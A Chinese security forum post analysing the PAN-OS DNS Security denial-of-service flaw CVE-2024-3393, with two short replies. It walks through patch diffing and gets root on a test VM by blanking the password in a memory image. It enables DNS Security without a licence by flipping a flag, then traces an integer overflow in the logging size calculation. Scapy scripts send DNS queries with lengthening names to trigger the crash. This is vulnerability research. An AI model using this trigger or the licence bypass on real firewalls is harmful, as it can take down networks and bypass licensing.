首页
社区
课程
招聘
[原创] 关于PAN-OS DoS(CVE-2024-3393)的研究
发表于: 2025-1-7 17:00 4651

[原创] 关于PAN-OS DoS(CVE-2024-3393)的研究

2025-1-7 17:00
4651


前几天Palo Alto发布了一项漏洞通告[1],看漏洞信息是PAN-OS数据平面处理流量时产生DoS,其实之前PAN-OS也有过这样的DoS漏洞。但令笔者好奇的是,这次居然会影响Prisma Access,这款产品是Palo Alto公司实现零信任的关键组件,遂准备花些时间去做一下相关的复现。

从描述中可以看出这是一个由DNS安全检测产生的漏洞,并且官方明确表示只有开启DNS Security才会产生。但不幸的是,这个功能需要购买相关的DNS Security License才能激活,这个暂且不做讨论,后续会有绕过的办法。而且,还关注到最重要的一点

它需要开启DNS Security Logging,也就是说很大概率是因为某些log记录时出现了fault。
那么现在得到的信息有以下几个:

根据上面的影响版本,笔者这里选择了PAN-OS 10.2.9-h19和PAN-OS 10.2.9-h18进行diff,可以看到新版本也只修复这一个CVE

首先需要设置DNS Security相关配置,主要在Anti-Spyware Profile中设置,如下图,重点是log serverity,这个就是漏洞描述中log部分。

之后把这个用到策略上就可以

上述防火墙配置就完成了,当然还有一些网口配置这些都是最基础的,可以自行配置。

由于采用虚拟机,所以获取shell还是比较容易的,这里采用patch vm mem的方法。
具体操作如下:
将虚拟机挂起,会有一个后缀名为vmem的文件,之后需要将内存中的一部分内容替换。具体替换内容是将root改成空密码,这样CLI登录root的时候就不需要密码,并且拿到的是shell。

这里注意替换字节要一样,否在虚拟机就起不来了。最终效果如下图,之后改了root密码,就可以用远程22端口登录了。

首先需要找到处理数据平面的进程,从[2][3][4]可以得到PAN_OS各个进程的信息,虽然版本有点老,但一些关键进程还是没有改变的。

从图中可以看出,data plane的主要处理进程就是pan_task。在虚拟机中也可以找到相应的进程。

之后就可以直接进行diff了,这里用bindiff,也可以用Diaphora等diff工具,具体结果如下

看到有一个log函数改动较大,并且非常符合漏洞的描述,打开IDA,反汇编看一下

发现对内存操作进行较大改动,如果会产生dos,那么很大概率是计算size的时候出现了问题,但实际上旧版本size反汇编的结果很抽象,经过了一系列运算才得出一个结果,接下来就需要去逆向了。

首先需要触发这个流程。但前文提到DNS security需要license,这里发现这个DNS Security的开关会由pan_task结构体中的一个数据影响。

pan_task中会通过cfg_data获取相关DNS License。

默认没有license时,图中cloud_dns_license的值为0,当图中cfg_data的cloud_dns_license的值为1时,DNS Security将会开启,当我们发送一个解析恶意地址的DNS数据包就会拦截。
这里解析的域名选用Palo Alto的测试域名[5]test-grayware.testpanw.com,构造数据包采用python构造

最终我们可以在威胁中定位到相关dns包被拦截

之后在pan_task中打函数断点pan_log_send_threat_log也可以停下来,说明走进了正确流程。

从gdb调试中不难看到,filename或者url其实就是我们解析的域名,并且在后续内存操作中,也是对这两个变量操作的地方进行了patch,那么考虑一下如果域名过长会不会导致crash。

跑完一轮之后发现并没有crash,其实熟悉DNS协议的人可能一眼就看到了其中问题,当DNS域名过长时,实际的DNS数据包发送的数据并不是我们想要的域名。
这是我们发送的其中一个数据包

可以看到实际发送的域名并不是我们想要发送的域名。
这里补充一些关于DNS协议的东西,DNS请求主要由DNS header和DNS Queries组成,其中重点关于DNS Queries,它主要包含以下几部分

所以按如下构造poc,那么产生的域名应该是足够长的。

最终导致了memcpy溢出

那么问题来了,这个size是如何产生的?

断点打到000055555574F3DB,发现rax=0也就是v39=0,实际上应该是filename_len+1

继续往上看发现v39 = 0xff + 1 = 0x100

但查看汇编时发现了不一样的东西

这里v39 = eax + 1 = 0xff + 1 = 0x100,但在下一个汇编只是移动了al,那么v39 = 0x00 = 0,所以下面的size变成0 - 1 = 0xffffffff也就顺理成章了,至此分析完毕。


所以这个漏洞本质上是由于整数溢出导致size计算错误而后续溢出。

在新版本中更新了size的大小为uint16

由于这个漏洞不仅会影响防火墙,还会影响Prisma Access,个人认为影响还是比较大的。毕竟Prisma Access是云上服务产品,如果一个公司使用该产品构建整个网络,那么通过这个漏洞就可以让云上产品直接崩溃,导致公司内网瘫痪。
此外我们可以发现以往的漏洞都是出现在管理口和VPN口,或许数据平面也是一个不错的攻击面?

Find:
root:x:0:0:root:/root:/bin/bash
Replace:
root::0:0:root:/root://bin/bash
Find:
root:x:0:0:root:/root:/bin/bash
Replace:
root::0:0:root:/root://bin/bash
from scapy.all import *
 
target_dns_server = "8.8.8.8"
dns_request = IP(dst=target_dns_server) / UDP(dport=53, sport=RandShort()) / DNS(
        rd=1,
        qd=DNSQR(qname="test-grayware.testpanw.com", qtype="A")
    )
send(dns_request)
from scapy.all import *
 
target_dns_server = "8.8.8.8"
dns_request = IP(dst=target_dns_server) / UDP(dport=53, sport=RandShort()) / DNS(
        rd=1,
        qd=DNSQR(qname="test-grayware.testpanw.com", qtype="A")
    )
send(dns_request)
from scapy.all import *
import random
import string
 
def generate_random_string(i):
    characters = string.ascii_letters + string.digits 
    random_string = ''.join(random.choice(characters) for _ in range(i))
    return random_string
 
target_dns_server = "8.8.8.8"
for i in range(0, 2048):
    rand_str = generate_random_string(i)+".test-grayware.testpanw.com"
    dns_request = IP(dst=target_dns_server) / UDP(dport=53, sport=RandShort()) / DNS(
        rd=1,
        qd=DNSQR(qname=rand_str, qtype="A")
    )
    send(dns_request)
    print("packet data:{}".format(rand_str))
from scapy.all import *
import random
import string
 
def generate_random_string(i):
    characters = string.ascii_letters + string.digits 
    random_string = ''.join(random.choice(characters) for _ in range(i))
    return random_string
 
target_dns_server = "8.8.8.8"
for i in range(0, 2048):
    rand_str = generate_random_string(i)+".test-grayware.testpanw.com"
    dns_request = IP(dst=target_dns_server) / UDP(dport=53, sport=RandShort()) / DNS(
        rd=1,
        qd=DNSQR(qname=rand_str, qtype="A")
    )

[注意]看雪招聘,专注安全领域的专业人才平台!

收藏
免费 2
支持
分享
最新回复 (2)
雪    币: 4
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
请教一下师傅,是如何实现pwndbg调试的?
2025-2-1 18:44
0
雪    币: 242
活跃值: (324)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
直接用gef就可以,PAN-OS上有python
2025-2-5 21:50
0
游客
登录 | 注册 方可回帖
返回